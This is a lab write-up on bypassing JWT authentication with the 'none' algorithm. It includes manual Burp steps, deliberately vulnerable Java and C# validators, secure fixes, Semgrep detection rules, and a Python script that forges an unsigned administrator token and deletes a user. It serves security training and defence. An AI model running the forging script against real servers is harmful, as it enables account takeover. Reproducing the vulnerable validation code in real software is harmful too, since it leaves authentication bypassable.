Lab 02: JWT authentication bypass via flawed signature verification
1. Executive Summary
Vulnerability: JWT Signature Bypass (Algorithm Confusion / “None” Algorithm).
Description: The JSON Web Token (JWT) specification includes an alg (algorithm) header field that tells the server which cryptographic algorithm was used to sign the token. A critical implementation flaw occurs when the server trusts this header implicitly. If an attacker changes the alg to none (signifying no signature), a vulnerable server may skip the signature verification process entirely and trust the payload, allowing for arbitrary account takeover.
Impact: Privilege Escalation / Account Takeover. An attacker can forge tokens for any user (including admins) by stripping the signature and setting the algorithm to none.
2. The Attack
Objective: Access the admin panel by creating an unsigned JWT for the administrator user.
- Reconnaissance:
- I logged in as
wiener. - I captured the
sessioncookie (JWT). - I sent the
GET /adminrequest to Repeater. It returned401 Unauthorized.
- I logged in as
- Forging the Token:
- Modify Payload: In Burp Inspector, I changed the
subclaim fromwienertoadministrator. - Modify Header: In Burp Inspector, I changed the
algparameter fromHS256(or similar) tonone. - Strip Signature: In the raw message editor, I deleted the signature part of the token (the characters after the second dot).
- Critical Step: I ensured the trailing dot
.remained. The token structure becameheader.payload.(with no characters after the final dot).
- Modify Payload: In Burp Inspector, I changed the
- Exploitation:
- I sent the request with the modified token.
- The server accepted the “unsigned” token as valid.
- I accessed the admin panel and executed the delete request for user
carlos.
3. Code Review
Vulnerability Analysis (Explanation):
The vulnerability stems from using a JWT library in a configuration that allows “Unsecured JWS” (tokens with no signature). The backend code looks at the alg header, sees none, and effectively decides “Oh, this token doesn’t need to be checked.”
Java (Spring Boot / JJWT legacy)
1
2
3
4
5
6
7
8
public Claims parseToken(String token) {
// VULNERABLE: The parser is not configured to reject unsigned tokens.
// In some older library versions, if the token says 'alg': 'none',
// the parser skips validation automatically if a key isn't enforced strictly.
return Jwts.parser()
.parseClaimsJwt(token) // Parses an unsecured JWT (no signature expected)
.getBody();
}
Technical Flow & Syntax Explanation:
parseClaimsJwt(token): Thejjwtlibrary distinguishes betweenparseClaimsJws(Signed) andparseClaimsJwt(Unsigned). If the developer mistakenly uses a generic parsing method or explicitly allows unsigned tokens, the library respects thealg: noneheader.- Trusting the Header: The code fails to enforce a specific expected algorithm (like HS256). It lets the client dictate the security level.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public ClaimsPrincipal Validate(string token)
{
var handler = new JwtSecurityTokenHandler();
// VULNERABLE: Explicitly allowing tokens without signatures
var validationParameters = new TokenValidationParameters
{
RequireSignedTokens = false, // Critical Misconfiguration
ValidateIssuerSigningKey = false,
SignatureValidator = delegate(string token, TokenValidationParameters parameters)
{
var jwt = new JwtSecurityToken(token);
return jwt; // Accepts the token as-is without crypto check
}
};
return handler.ValidateToken(token, validationParameters, out _);
}
Technical Flow & Syntax Explanation:
RequireSignedTokens = false: This setting explicitly disables the requirement for a signature.SignatureValidatordelegate: The developer overrides the standard validator to simply return the token object without performing cryptographic verification. This allows thenonealgorithm to pass.
Mock PR Comment
The JWT validation logic currently accepts tokens with alg: none. This allows attackers to bypass authentication by stripping the signature.
Recommendation: Enforce HS256 (or RS256) and reject any token that does not match this algorithm. Disable support for unsigned tokens.
4. The Fix
Explanation of the Fix:
We must explicitly tell the JWT library which algorithm we expect and reject everything else. We must also strictly require signatures.
Secure Java
1
2
3
4
5
6
7
8
9
public Claims parseToken(String token) {
// SECURE: Enforce the signing key.
// 'parseClaimsJws' will throw an exception if the token is unsigned ('alg': 'none')
return Jwts.parser()
.setSigningKey(SECRET_KEY)
.requireAlgorithm(SignatureAlgorithm.HS256) // Explicit Allow-list
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
parseClaimsJws: This method requires a valid signature. If the token is unsigned, it throwsUnsupportedJwtException.requireAlgorithm: Adds an extra layer of defense by rejecting tokens signed with keys but using unexpected algorithms (e.g., preventing algorithm confusion attacks).
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ClaimsPrincipal Validate(string token)
{
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
// SECURE: Enforce signature presence and validation
RequireSignedTokens = true,
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(key),
ValidAlgorithms = new[] { SecurityAlgorithms.HmacSha256 } // Allow-list
};
return handler.ValidateToken(token, parameters, out _);
}
Technical Flow & Syntax Explanation:
RequireSignedTokens = true: Ensuresalg: noneis rejected immediately.ValidAlgorithms: WhitelistsHmacSha256. If the header claimsnoneorRS256, the validation fails.
5. Automation
A Python script that constructs a “None” signed token manually to bypass library protections.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import argparse
import requests
import base64
import json
import sys
def base64url_encode(data):
# Standard Base64URL encode without padding
return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=')
def exploit_none_alg(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
# 1. Login to get original token structure
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
original_token = s.cookies.get('session')
if not original_token:
print("[-] No session cookie found.")
return
# 2. Forge the Token Manually
# Header: alg = none
header = {"typ": "JWT", "alg": "none"}
header_b64 = base64url_encode(json.dumps(header))
# Payload: sub = administrator
# We decode the original payload to keep other claims (like exp, iat) valid
orig_payload_b64 = original_token.split('.')[1]
# Add padding back for decoding
padding = '=' * (4 - (len(orig_payload_b64) % 4))
orig_payload_str = base64.urlsafe_b64decode(orig_payload_b64 + padding).decode('utf-8')
payload_data = json.loads(orig_payload_str)
payload_data['sub'] = 'administrator'
# Re-encode payload
# Use separators to remove spaces (JWT standard usually compact)
payload_b64 = base64url_encode(json.dumps(payload_data, separators=(',', ':')))
# 3. Construct "Unsecured JWS"
# Format: header.payload. (Note the trailing dot)
forged_token = f"{header_b64}.{payload_b64}."
print(f"[*] Forged Token: {forged_token}")
# 4. Attack
print("[*] Accessing Admin Panel...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if resp.status_code == 200 and "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
# Delete Carlos
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_none_alg(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
rules:
- id: java-jwt-none-alg-allowed
languages: [java]
message: "JWT parser configured to allow unsigned tokens (alg: none)."
severity: ERROR
patterns:
- pattern-either:
- pattern: Jwts.parser().parseClaimsJwt(...)
- pattern: |
// Custom logic checking for 'none' manually
if ($HEADER.get("alg").equals("none")) { ... }
Technical Flow & Syntax Explanation:
parseClaimsJwt: This specific method in the JJWT library is designed for unsecured tokens. Using it instead ofparseClaimsJwsimplies the application expects or allows tokens without signatures.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
rules:
- id: csharp-jwt-require-signed-false
languages: [csharp]
message: "TokenValidationParameters configured with RequireSignedTokens = false."
severity: ERROR
patterns:
- pattern: |
new TokenValidationParameters {
...,
RequireSignedTokens = false,
...
}
Technical Flow & Syntax Explanation:
RequireSignedTokens = false: This is the smoking gun configuration setting in .NET that enables the “None” algorithm vulnerability. It explicitly degrades security posture by making signatures optional.
